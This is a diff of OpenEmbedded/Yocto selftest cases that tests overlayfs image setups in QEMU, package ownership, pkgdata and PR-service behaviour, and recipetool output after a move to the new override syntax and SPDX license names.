+DISTRO_FEATURES += "systemd overlayfs"
+
+# Use systemd as init manager
+VIRTUAL-RUNTIME_init_manager = "systemd"
+
+# enable overlayfs in the kernel
+KERNEL_EXTRA_FEATURES:append = " features/overlayfs/overlayfs.scc"
+"""
+
+ overlayfs_recipe_append = """
+OVERLAYFS_WRITABLE_PATHS[mnt-overlay] += "/usr/share/another-overlay-mount"
+
+SYSTEMD_SERVICE:${PN} += " \
+ my-application.service \
+"
+
+do_install:append() {
+ install -d ${D}${systemd_system_unitdir}
+ cat <<EOT > ${D}${systemd_system_unitdir}/my-application.service
+[Unit]
+Description=Sample application start-up unit
+After=overlayfs-user-overlays.service
+Requires=overlayfs-user-overlays.service
+
+[Service]
+Type=oneshot
+ExecStart=/bin/true
+RemainAfterExit=true
+
+[Install]
+WantedBy=multi-user.target
+EOT
+}
+"""
+
+ self.write_config(config)
+ self.add_overlay_conf_to_machine()
+ self.write_recipeinc(recipe, data)
+ self.write_recipeinc('overlayfs-user', overlayfs_recipe_append)
+
+ bitbake('core-image-minimal')
+
+ with runqemu('core-image-minimal') as qemu:
+ # Check that application service started
+ status, output = qemu.run_serial("systemctl status my-application")
+ self.assertTrue("active (exited)" in output, msg=output)
+
+ # Check that overlay mounts are dependencies of our application unit
+ status, output = qemu.run_serial("systemctl list-dependencies my-application")
+ self.assertTrue("overlayfs-user-overlays.service" in output, msg=output)
+
+ status, output = qemu.run_serial("systemctl list-dependencies overlayfs-user-overlays")
+ self.assertTrue("usr-share-another\\x2doverlay\\x2dmount.mount" in output, msg=output)
+ self.assertTrue("usr-share-my\\x2dapplication.mount" in output, msg=output)
+
+ # Check that we have /mnt/overlay fs mounted as tmpfs and
+ # /usr/share/my-application as an overlay (see overlayfs-user recipe)
+ status, output = qemu.run_serial("/bin/mount -t tmpfs,overlay")
+
+ line = getline_qemu(output, "on /mnt/overlay")
+ self.assertTrue(line and line.startswith("tmpfs"), msg=output)
+
+ line = getline_qemu(output, "upperdir=/mnt/overlay/upper/usr/share/my-application")
+ self.assertTrue(line and line.startswith("overlay"), msg=output)
+
+ line = getline_qemu(output, "upperdir=/mnt/overlay/upper/usr/share/another-overlay-mount")
+ self.assertTrue(line and line.startswith("overlay"), msg=output)
+
+ def test_correct_image_fstab(self):
+ """
+ Summary: Check that we can create an image when all parameters are
+ set correctly via fstab
+ Expected: Image is created successfully
+ Author: Stefan Herbrechtsmeier <stefan.herbrechtsmeier@weidmueller.com>
+ """
+
+ base_files_append = """
+do_install:append() {
+ cat <<EOT >> ${D}${sysconfdir}/fstab
+tmpfs /mnt/overlay tmpfs mode=1777,strictatime,nosuid,nodev 0 0
+EOT
+}
+"""
+
+ self._test_correct_image('base-files', base_files_append)
+
+ def test_correct_image_unit(self):
+ """
+ Summary: Check that we can create an image when all parameters are
+ set correctly via mount unit
+ Expected: Image is created successfully
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ systemd_machine_unit_append = """
+SYSTEMD_SERVICE:${PN} += " \
+ mnt-overlay.mount \
+"
+
+do_install:append() {
+ install -d ${D}${systemd_system_unitdir}
+ cat <<EOT > ${D}${systemd_system_unitdir}/mnt-overlay.mount
+[Unit]
+Description=Tmpfs directory
+DefaultDependencies=no
+
+[Mount]
+What=tmpfs
+Where=/mnt/overlay
+Type=tmpfs
+Options=mode=1777,strictatime,nosuid,nodev
+
+[Install]
+WantedBy=multi-user.target
+EOT
+}
+
+"""
+
+ self._test_correct_image('systemd-machine-units', systemd_machine_unit_append)
+
+class OverlayFSEtcRunTimeTests(OESelftestTestCase):
+ """overlayfs-etc class tests"""
+
+ def test_all_required_variables_set(self):
+ """
+ Summary: Check that required variables are set
+ Expected: Fail when any of required variables is missing
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ configBase = """
+DISTRO_FEATURES += "systemd"
+
+# Use systemd as init manager
+VIRTUAL-RUNTIME_init_manager = "systemd"
+
+# enable overlayfs in the kernel
+KERNEL_EXTRA_FEATURES:append = " features/overlayfs/overlayfs.scc"
+
+# Image configuration for overlayfs-etc
+EXTRA_IMAGE_FEATURES += "overlayfs-etc"
+IMAGE_FEATURES:remove = "package-management"
+"""
+ configMountPoint = """
+OVERLAYFS_ETC_MOUNT_POINT = "/data"
+"""
+ configDevice = """
+OVERLAYFS_ETC_DEVICE = "/dev/mmcblk0p1"
+"""
+
+ self.write_config(configBase)
+ res = bitbake('core-image-minimal', ignore_status=True)
+ line = getline(res, "OVERLAYFS_ETC_MOUNT_POINT must be set in your MACHINE configuration")
+ self.assertTrue(line, msg=res.output)
+
+ self.append_config(configMountPoint)
+ res = bitbake('core-image-minimal', ignore_status=True)
+ line = getline(res, "OVERLAYFS_ETC_DEVICE must be set in your MACHINE configuration")
+ self.assertTrue(line, msg=res.output)
+
+ self.append_config(configDevice)
+ res = bitbake('core-image-minimal', ignore_status=True)
+ line = getline(res, "OVERLAYFS_ETC_FSTYPE should contain a valid file system type on /dev/mmcblk0p1")
+ self.assertTrue(line, msg=res.output)
+
+ def test_image_feature_conflict(self):
+ """
+ Summary: Overlayfs-etc is not allowed to be used with package-management
+ Expected: Feature conflict
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ config = """
+DISTRO_FEATURES += "systemd"
+
+# Use systemd as init manager
+VIRTUAL-RUNTIME_init_manager = "systemd"
+
+# enable overlayfs in the kernel
+KERNEL_EXTRA_FEATURES:append = " features/overlayfs/overlayfs.scc"
+EXTRA_IMAGE_FEATURES += "overlayfs-etc"
+EXTRA_IMAGE_FEATURES += "package-management"
+"""
+
+ self.write_config(config)
+
+ res = bitbake('core-image-minimal', ignore_status=True)
+ line = getline(res, "contains conflicting IMAGE_FEATURES")
+ self.assertTrue("overlayfs-etc" in res.output, msg=res.output)
+ self.assertTrue("package-management" in res.output, msg=res.output)
+
+ def test_image_feature_is_missing_class_included(self):
+ configAppend = """
+INHERIT += "overlayfs-etc"
+"""
+ self.run_check_image_feature(configAppend)
+
+ def test_image_feature_is_missing(self):
+ self.run_check_image_feature()
+
+ def run_check_image_feature(self, appendToConfig=""):
+ """
+ Summary: Overlayfs-etc class is not applied when image feature is not set
+ even if we inherit it directly,
+ Expected: Image is created successfully but /etc is not an overlay
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ config = f"""
+DISTRO_FEATURES += "systemd"
+
+# Use systemd as init manager
+VIRTUAL-RUNTIME_init_manager = "systemd"
+
+# enable overlayfs in the kernel
+KERNEL_EXTRA_FEATURES:append = " features/overlayfs/overlayfs.scc"
+
+IMAGE_FSTYPES += "wic"
+WKS_FILE = "overlayfs_etc.wks.in"
+
+EXTRA_IMAGE_FEATURES += "read-only-rootfs"
+# Image configuration for overlayfs-etc
+OVERLAYFS_ETC_MOUNT_POINT = "/data"
+OVERLAYFS_ETC_DEVICE = "/dev/sda3"
+{appendToConfig}
+"""
+
+ self.write_config(config)
+
+ bitbake('core-image-minimal')
+
+ with runqemu('core-image-minimal', image_fstype='wic') as qemu:
+ status, output = qemu.run_serial("/bin/mount")
+
+ line = getline_qemu(output, "upperdir=/data/overlay-etc/upper")
+ self.assertFalse(line, msg=output)
+
+ def test_sbin_init_preinit(self):
+ self.run_sbin_init(False)
+
+ def test_sbin_init_original(self):
+ self.run_sbin_init(True)
+
+ def run_sbin_init(self, origInit):
+ """
+ Summary: Confirm we can replace original init and mount overlay on top of /etc
+ Expected: Image is created successfully and /etc is mounted as an overlay
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ config = """
+DISTRO_FEATURES += "systemd"
+
+# Use systemd as init manager
+VIRTUAL-RUNTIME_init_manager = "systemd"
+
+# enable overlayfs in the kernel
+KERNEL_EXTRA_FEATURES:append = " features/overlayfs/overlayfs.scc"
+
+IMAGE_FSTYPES += "wic"
+OVERLAYFS_INIT_OPTION = "{OVERLAYFS_INIT_OPTION}"
+WKS_FILE = "overlayfs_etc.wks.in"
+
+EXTRA_IMAGE_FEATURES += "read-only-rootfs"
+# Image configuration for overlayfs-etc
+EXTRA_IMAGE_FEATURES += "overlayfs-etc"
+IMAGE_FEATURES:remove = "package-management"
+OVERLAYFS_ETC_MOUNT_POINT = "/data"
+OVERLAYFS_ETC_FSTYPE = "ext4"
+OVERLAYFS_ETC_DEVICE = "/dev/sda3"
+OVERLAYFS_ETC_USE_ORIG_INIT_NAME = "{OVERLAYFS_ETC_USE_ORIG_INIT_NAME}"
+"""
+
+ args = {
+ 'OVERLAYFS_INIT_OPTION': "" if origInit else "init=/sbin/preinit",
+ 'OVERLAYFS_ETC_USE_ORIG_INIT_NAME': int(origInit == True)
+ }
+
+ self.write_config(config.format(**args))
+
+ bitbake('core-image-minimal')
+ testFile = "/etc/my-test-data"
+
+ with runqemu('core-image-minimal', image_fstype='wic', discard_writes=False) as qemu:
+ status, output = qemu.run_serial("/bin/mount")
+
+ line = getline_qemu(output, "/dev/sda3")
+ self.assertTrue("/data" in output, msg=output)
+
+ line = getline_qemu(output, "upperdir=/data/overlay-etc/upper")
+ self.assertTrue(line and line.startswith("/data/overlay-etc/upper on /etc type overlay"), msg=output)
+
+ status, output = qemu.run_serial("touch " + testFile)
+ status, output = qemu.run_serial("sync")
+ status, output = qemu.run_serial("ls -1 " + testFile)
+ line = getline_qemu(output, testFile)
+ self.assertTrue(line and line.startswith(testFile), msg=output)
+
+ # Check that file exists in /etc after reboot
+ with runqemu('core-image-minimal', image_fstype='wic') as qemu:
+ status, output = qemu.run_serial("ls -1 " + testFile)
+ line = getline_qemu(output, testFile)
+ self.assertTrue(line and line.startswith(testFile), msg=output)
diff --git a/meta/lib/oeqa/selftest/cases/package.py b/meta/lib/oeqa/selftest/cases/package.py
index 291627877e..cebbb4f3f4 100644
--- a/meta/lib/oeqa/selftest/cases/package.py
+++ b/meta/lib/oeqa/selftest/cases/package.py
@@ -116,9 +116,9 @@ class PackageTests(OESelftestTestCase):
# Verify gdb to read symbols from separated debug hardlink file correctly
def test_gdb_hardlink_debug(self):
- features = 'IMAGE_INSTALL_append = " selftest-hardlink"\n'
- features += 'IMAGE_INSTALL_append = " selftest-hardlink-dbg"\n'
- features += 'IMAGE_INSTALL_append = " selftest-hardlink-gdb"\n'
+ features = 'IMAGE_INSTALL:append = " selftest-hardlink"\n'
+ features += 'IMAGE_INSTALL:append = " selftest-hardlink-dbg"\n'
+ features += 'IMAGE_INSTALL:append = " selftest-hardlink-gdb"\n'
self.write_config(features)
bitbake("core-image-minimal")
@@ -135,7 +135,7 @@ class PackageTests(OESelftestTestCase):
return False
# Check debugging symbols works correctly
- elif re.match("Breakpoint 1.*hello\.c.*4", l):
+ elif re.match(r"Breakpoint 1.*hello\.c.*4", l):
return True
self.logger.error("GDB result:\n%d: %s", status, output)
@@ -148,3 +148,27 @@ class PackageTests(OESelftestTestCase):
'/usr/libexec/hello4']:
if not gdbtest(qemu, binary):
self.fail('GDB %s failed' % binary)
+
+ def test_preserve_ownership(self):
+ import os, stat, oe.cachedpath
+ features = 'IMAGE_INSTALL:append = " selftest-chown"\n'
+ self.write_config(features)
+ bitbake("core-image-minimal")
+
+ sysconfdir = get_bb_var('sysconfdir', 'selftest-chown')
+ def check_ownership(qemu, gid, uid, path):
+ self.logger.info("Check ownership of %s", path)
+ status, output = qemu.run_serial(r'/bin/stat -c "%U %G" ' + path, timeout=60)
+ output = output.split(" ")
+ if output[0] != uid or output[1] != gid :
+ self.logger.error("Incrrect ownership %s [%s:%s]", path, output[0], output[1])
+ return False
+ return True
+
+ with runqemu('core-image-minimal') as qemu:
+ for path in [ sysconfdir + "/selftest-chown/file",
+ sysconfdir + "/selftest-chown/dir",
+ sysconfdir + "/selftest-chown/symlink",
+ sysconfdir + "/selftest-chown/fifotest/fifo"]:
+ if not check_ownership(qemu, "test", "test", path):
+ self.fail('Test ownership %s failed' % path)
diff --git a/meta/lib/oeqa/selftest/cases/pkgdata.py b/meta/lib/oeqa/selftest/cases/pkgdata.py
index 833a1803ba..254abc40c6 100644
--- a/meta/lib/oeqa/selftest/cases/pkgdata.py
+++ b/meta/lib/oeqa/selftest/cases/pkgdata.py
@@ -218,3 +218,9 @@ class OePkgdataUtilTests(OESelftestTestCase):
def test_specify_pkgdatadir(self):
result = runCmd('oe-pkgdata-util -p %s lookup-pkg zlib' % get_bb_var('PKGDATA_DIR'))
self.assertEqual(result.output, 'libz1')
+
+ def test_no_param(self):
+ result = runCmd('oe-pkgdata-util', ignore_status=True)
+ self.assertEqual(result.status, 2, "Status different than 2. output: %s" % result.output)
+ currpos = result.output.find('usage: oe-pkgdata-util')
+ self.assertTrue(currpos != -1, msg = "Test is Failed. Help is not Displayed in %s" % result.output)
diff --git a/meta/lib/oeqa/selftest/cases/prservice.py b/meta/lib/oeqa/selftest/cases/prservice.py
index fe1f24ea6d..10158ca7c2 100644
--- a/meta/lib/oeqa/selftest/cases/prservice.py
+++ b/meta/lib/oeqa/selftest/cases/prservice.py
@@ -23,7 +23,7 @@ class BitbakePrTests(OESelftestTestCase):
package_data_file = os.path.join(self.pkgdata_dir, 'runtime', package_name)
package_data = ftools.read_file(package_data_file)
find_pr = re.search(r"PKGR: r[0-9]+\.([0-9]+)", package_data)
- self.assertTrue(find_pr, "No PKG revision found in %s" % package_data_file)
+ self.assertTrue(find_pr, "No PKG revision found via regex 'PKGR: r[0-9]+\.([0-9]+)' in %s" % package_data_file)
return int(find_pr.group(1))
def get_task_stamp(self, package_name, recipe_task):
@@ -40,7 +40,7 @@ class BitbakePrTests(OESelftestTestCase):
return str(stamps[0])
def increment_package_pr(self, package_name):
- inc_data = "do_package_append() {\n bb.build.exec_func('do_test_prserv', d)\n}\ndo_test_prserv() {\necho \"The current date is: %s\"\n}" % datetime.datetime.now()
+ inc_data = "do_package:append() {\n bb.build.exec_func('do_test_prserv', d)\n}\ndo_test_prserv() {\necho \"The current date is: %s\" > ${PKGDESTWORK}/${PN}.datestamp\n}" % datetime.datetime.now()
self.write_recipeinc(package_name, inc_data)
res = bitbake(package_name, ignore_status=True)
self.delete_recipeinc(package_name)
@@ -63,7 +63,7 @@ class BitbakePrTests(OESelftestTestCase):
pr_2 = self.get_pr_version(package_name)
stamp_2 = self.get_task_stamp(package_name, track_task)
- self.assertTrue(pr_2 - pr_1 == 1, "Step between same pkg. revision is greater than 1")
+ self.assertTrue(pr_2 - pr_1 == 1, "New PR %s did not increment as expected (from %s), difference should be 1" % (pr_2, pr_1))
self.assertTrue(stamp_1 != stamp_2, "Different pkg rev. but same stamp: %s" % stamp_1)
def run_test_pr_export_import(self, package_name, replace_current_db=True):
@@ -89,7 +89,7 @@ class BitbakePrTests(OESelftestTestCase):
self.increment_package_pr(package_name)
pr_2 = self.get_pr_version(package_name)
- self.assertTrue(pr_2 - pr_1 == 1, "Step between same pkg. revision is greater than 1")
+ self.assertTrue(pr_2 - pr_1 == 1, "New PR %s did not increment as expected (from %s), difference should be 1" % (pr_2, pr_1))
def test_import_export_replace_db(self):
self.run_test_pr_export_import('m4')
diff --git a/meta/lib/oeqa/selftest/cases/pseudo.py b/meta/lib/oeqa/selftest/cases/pseudo.py
new file mode 100644
index 0000000000..33593d5ce9
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/pseudo.py
@@ -0,0 +1,27 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+import glob
+import os
+import shutil
+from oeqa.utils.commands import bitbake, get_test_layer
+from oeqa.selftest.case import OESelftestTestCase
+
+class Pseudo(OESelftestTestCase):
+
+ def test_pseudo_pyc_creation(self):
+ self.write_config("")
+
+ metaselftestpath = get_test_layer()
+ pycache_path = os.path.join(metaselftestpath, 'lib/__pycache__')
+ if os.path.exists(pycache_path):
+ shutil.rmtree(pycache_path)
+
+ bitbake('pseudo-pyc-test -c install')
+
+ test1_pyc_present = len(glob.glob(os.path.join(pycache_path, 'pseudo_pyc_test1.*.pyc')))
+ self.assertTrue(test1_pyc_present, 'test1 pyc file missing, should be created outside of pseudo context.')
+
+ test2_pyc_present = len(glob.glob(os.path.join(pycache_path, 'pseudo_pyc_test2.*.pyc')))
+ self.assertFalse(test2_pyc_present, 'test2 pyc file present, should not be created in pseudo context.')
diff --git a/meta/lib/oeqa/selftest/cases/recipetool.py b/meta/lib/oeqa/selftest/cases/recipetool.py
index c1562c63b2..510dae6bad 100644
--- a/meta/lib/oeqa/selftest/cases/recipetool.py
+++ b/meta/lib/oeqa/selftest/cases/recipetool.py
@@ -25,7 +25,7 @@ def tearDownModule():
runCmd('rm -rf %s' % templayerdir)
-class RecipetoolBase(devtool.DevtoolBase):
+class RecipetoolBase(devtool.DevtoolTestCase):
def setUpLocal(self):
super(RecipetoolBase, self).setUpLocal()
@@ -68,17 +68,16 @@ class RecipetoolBase(devtool.DevtoolBase):
return bbappendfile, result.output
-class RecipetoolTests(RecipetoolBase):
+class RecipetoolAppendTests(RecipetoolBase):
@classmethod
def setUpClass(cls):
- super(RecipetoolTests, cls).setUpClass()
+ super(RecipetoolAppendTests, cls).setUpClass()
# Ensure we have the right data in shlibs/pkgdata
cls.logger.info('Running bitbake to generate pkgdata')
bitbake('-c packagedata base-files coreutils busybox selftest-recipetool-appendfile')
- bb_vars = get_bb_vars(['COREBASE', 'BBPATH'])
+ bb_vars = get_bb_vars(['COREBASE'])
cls.corebase = bb_vars['COREBASE']
- cls.bbpath = bb_vars['BBPATH']
def _try_recipetool_appendfile(self, testrecipe, destfile, newfile, options, expectedlines, expectedfiles):
cmd = 'recipetool appendfile %s %s %s %s' % (self.templayerdir, destfile, newfile, options)
@@ -94,7 +93,7 @@ class RecipetoolTests(RecipetoolBase):
def test_recipetool_appendfile_basic(self):
# Basic test
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
_, output = self._try_recipetool_appendfile('base-files', '/etc/motd', self.testfile, '', expectedlines, ['motd'])
self.assertNotIn('WARNING: ', output)
@@ -112,11 +111,11 @@ class RecipetoolTests(RecipetoolBase):
# Need a test file - should be executable
testfile2 = os.path.join(self.corebase, 'oe-init-build-env')
testfile2name = os.path.basename(testfile2)
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'SRC_URI += "file://%s"\n' % testfile2name,
'\n',
- 'do_install_append() {\n',
+ 'do_install:append() {\n',
' install -d ${D}${base_bindir}\n',
' install -m 0755 ${WORKDIR}/%s ${D}${base_bindir}/ls\n' % testfile2name,
'}\n']
@@ -138,11 +137,11 @@ class RecipetoolTests(RecipetoolBase):
def test_recipetool_appendfile_add(self):
# Try arbitrary file add to a recipe
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'SRC_URI += "file://testfile"\n',
'\n',
- 'do_install_append() {\n',
+ 'do_install:append() {\n',
' install -d ${D}${datadir}\n',
' install -m 0644 ${WORKDIR}/testfile ${D}${datadir}/something\n',
'}\n']
@@ -151,13 +150,13 @@ class RecipetoolTests(RecipetoolBase):
# (so we're testing that, plus modifying an existing bbappend)
testfile2 = os.path.join(self.corebase, 'oe-init-build-env')
testfile2name = os.path.basename(testfile2)
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'SRC_URI += "file://testfile \\\n',
' file://%s \\\n' % testfile2name,
' "\n',
'\n',
- 'do_install_append() {\n',
+ 'do_install:append() {\n',
' install -d ${D}${datadir}\n',
' install -m 0644 ${WORKDIR}/testfile ${D}${datadir}/something\n',
' install -m 0755 ${WORKDIR}/%s ${D}${datadir}/scriptname\n' % testfile2name,
@@ -166,11 +165,11 @@ class RecipetoolTests(RecipetoolBase):
def test_recipetool_appendfile_add_bindir(self):
# Try arbitrary file add to a recipe, this time to a location such that should be installed as executable
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'SRC_URI += "file://testfile"\n',
'\n',
- 'do_install_append() {\n',
+ 'do_install:append() {\n',
' install -d ${D}${bindir}\n',
' install -m 0755 ${WORKDIR}/testfile ${D}${bindir}/selftest-recipetool-testbin\n',
'}\n']
@@ -179,13 +178,13 @@ class RecipetoolTests(RecipetoolBase):
def test_recipetool_appendfile_add_machine(self):
# Try arbitrary file add to a recipe, this time to a location such that should be installed as executable
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'PACKAGE_ARCH = "${MACHINE_ARCH}"\n',
'\n',
- 'SRC_URI_append_mymachine = " file://testfile"\n',
+ 'SRC_URI:append:mymachine = " file://testfile"\n',
'\n',
- 'do_install_append_mymachine() {\n',
+ 'do_install:append:mymachine() {\n',
' install -d ${D}${datadir}\n',
' install -m 0644 ${WORKDIR}/testfile ${D}${datadir}/something\n',
'}\n']
@@ -194,72 +193,59 @@ class RecipetoolTests(RecipetoolBase):
def test_recipetool_appendfile_orig(self):
# A file that's in SRC_URI and in do_install with the same name
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
_, output = self._try_recipetool_appendfile('selftest-recipetool-appendfile', '/usr/share/selftest-replaceme-orig', self.testfile, '', expectedlines, ['selftest-replaceme-orig'])
self.assertNotIn('WARNING: ', output)
def test_recipetool_appendfile_todir(self):
# A file that's in SRC_URI and in do_install with destination directory rather than file
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
_, output = self._try_recipetool_appendfile('selftest-recipetool-appendfile', '/usr/share/selftest-replaceme-todir', self.testfile, '', expectedlines, ['selftest-replaceme-todir'])
self.assertNotIn('WARNING: ', output)
def test_recipetool_appendfile_renamed(self):
# A file that's in SRC_URI with a different name to the destination file
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
_, output = self._try_recipetool_appendfile('selftest-recipetool-appendfile', '/usr/share/selftest-replaceme-renamed', self.testfile, '', expectedlines, ['file1'])
self.assertNotIn('WARNING: ', output)
def test_recipetool_appendfile_subdir(self):
# A file that's in SRC_URI in a subdir
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'SRC_URI += "file://testfile"\n',
'\n',
- 'do_install_append() {\n',
+ 'do_install:append() {\n',
' install -d ${D}${datadir}\n',
' install -m 0644 ${WORKDIR}/testfile ${D}${datadir}/selftest-replaceme-subdir\n',
'}\n']
_, output = self._try_recipetool_appendfile('selftest-recipetool-appendfile', '/usr/share/selftest-replaceme-subdir', self.testfile, '', expectedlines, ['testfile'])
self.assertNotIn('WARNING: ', output)
- def test_recipetool_appendfile_src_glob(self):
- # A file that's in SRC_URI as a glob
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
- '\n',
- 'SRC_URI += "file://testfile"\n',
- '\n',
- 'do_install_append() {\n',
- ' install -d ${D}${datadir}\n',
- ' install -m 0644 ${WORKDIR}/testfile ${D}${datadir}/selftest-replaceme-src-globfile\n',
- '}\n']
- _, output = self._try_recipetool_appendfile('selftest-recipetool-appendfile', '/usr/share/selftest-replaceme-src-globfile', self.testfile, '', expectedlines, ['testfile'])
- self.assertNotIn('WARNING: ', output)
-
def test_recipetool_appendfile_inst_glob(self):
# A file that's in do_install as a glob
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
_, output = self._try_recipetool_appendfile('selftest-recipetool-appendfile', '/usr/share/selftest-replaceme-inst-globfile', self.testfile, '', expectedlines, ['selftest-replaceme-inst-globfile'])
self.assertNotIn('WARNING: ', output)
def test_recipetool_appendfile_inst_todir_glob(self):
# A file that's in do_install as a glob with destination as a directory
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
_, output = self._try_recipetool_appendfile('selftest-recipetool-appendfile', '/usr/share/selftest-replaceme-inst-todir-globfile', self.testfile, '', expectedlines, ['selftest-replaceme-inst-todir-globfile'])
self.assertNotIn('WARNING: ', output)
def test_recipetool_appendfile_patch(self):
# A file that's added by a patch in SRC_URI
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'SRC_URI += "file://testfile"\n',
'\n',
- 'do_install_append() {\n',
+ 'do_install:append() {\n',
' install -d ${D}${sysconfdir}\n',
' install -m 0644 ${WORKDIR}/testfile ${D}${sysconfdir}/selftest-replaceme-patched\n',
'}\n']
@@ -273,11 +259,11 @@ class RecipetoolTests(RecipetoolBase):
def test_recipetool_appendfile_script(self):
# Now, a file that's in SRC_URI but installed by a script (so no mention in do_install)
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'SRC_URI += "file://testfile"\n',
'\n',
- 'do_install_append() {\n',
+ 'do_install:append() {\n',
' install -d ${D}${datadir}\n',
' install -m 0644 ${WORKDIR}/testfile ${D}${datadir}/selftest-replaceme-scripted\n',
'}\n']
@@ -286,7 +272,7 @@ class RecipetoolTests(RecipetoolBase):
def test_recipetool_appendfile_inst_func(self):
# A file that's installed from a function called by do_install
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
_, output = self._try_recipetool_appendfile('selftest-recipetool-appendfile', '/usr/share/selftest-replaceme-inst-func', self.testfile, '', expectedlines, ['selftest-replaceme-inst-func'])
self.assertNotIn('WARNING: ', output)
@@ -296,11 +282,11 @@ class RecipetoolTests(RecipetoolBase):
# First try without specifying recipe
self._try_recipetool_appendfile_fail('/usr/share/selftest-replaceme-postinst', self.testfile, ['File /usr/share/selftest-replaceme-postinst may be written out in a pre/postinstall script of the following recipes:', 'selftest-recipetool-appendfile'])
# Now specify recipe
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'SRC_URI += "file://testfile"\n',
'\n',
- 'do_install_append() {\n',
+ 'do_install:append() {\n',
' install -d ${D}${datadir}\n',
' install -m 0644 ${WORKDIR}/testfile ${D}${datadir}/selftest-replaceme-postinst\n',
'}\n']
@@ -345,6 +331,9 @@ class RecipetoolTests(RecipetoolBase):
filename = try_appendfile_wc('-w')
self.assertEqual(filename, recipefn.split('_')[0] + '_%.bbappend')
+
+class RecipetoolCreateTests(RecipetoolBase):
+
def test_recipetool_create(self):
# Try adding a recipe
tempsrc = os.path.join(self.tempdir, 'srctree')
@@ -354,14 +343,14 @@ class RecipetoolTests(RecipetoolBase):
result = runCmd('recipetool create -o %s %s -x %s' % (recipefile, srcuri, tempsrc))
self.assertTrue(os.path.isfile(recipefile))
checkvars = {}
- checkvars['LICENSE'] = 'GPLv2'
+ checkvars['LICENSE'] = 'GPL-2.0-only'
checkvars['LIC_FILES_CHKSUM'] = 'file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263'
checkvars['SRC_URI'] = 'https://github.com/logrotate/logrotate/releases/download/${PV}/logrotate-${PV}.tar.xz'
checkvars['SRC_URI[md5sum]'] = 'a560c57fac87c45b2fc17406cdf79288'
checkvars['SRC_URI[sha256sum]'] = '2e6a401cac9024db2288297e3be1a8ab60e7401ba8e91225218aaf4a27e82a07'
self._test_recipe_contents(recipefile, checkvars, [])
- def test_recipetool_create_git(self):
+ def test_recipetool_create_autotools(self):
if 'x11' not in get_bb_var('DISTRO_FEATURES'):
self.skipTest('Test requires x11 as distro feature')
# Ensure we have the right data in shlibs/pkgdata
@@ -374,11 +363,11 @@ class RecipetoolTests(RecipetoolBase):
result = runCmd(['recipetool', 'create', '-o', recipefile, srcuri + ";rev=9f7cf8895ae2d39c465c04cc78e918c157420269", '-x', tempsrc])
self.assertTrue(os.path.isfile(recipefile), 'recipetool did not create recipe file; output:\n%s' % result.output)
checkvars = {}
- checkvars['LICENSE'] = 'LGPLv2.1'
+ checkvars['LICENSE'] = 'LGPL-2.1-only'
checkvars['LIC_FILES_CHKSUM'] = 'file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34'
checkvars['S'] = '${WORKDIR}/git'
checkvars['PV'] = '1.11+git${SRCPV}'
- checkvars['SRC_URI'] = srcuri
+ checkvars['SRC_URI'] = srcuri + ';branch=master'
checkvars['DEPENDS'] = set(['libcheck', 'libjpeg-turbo', 'libpng', 'libx11', 'libxext', 'pango'])
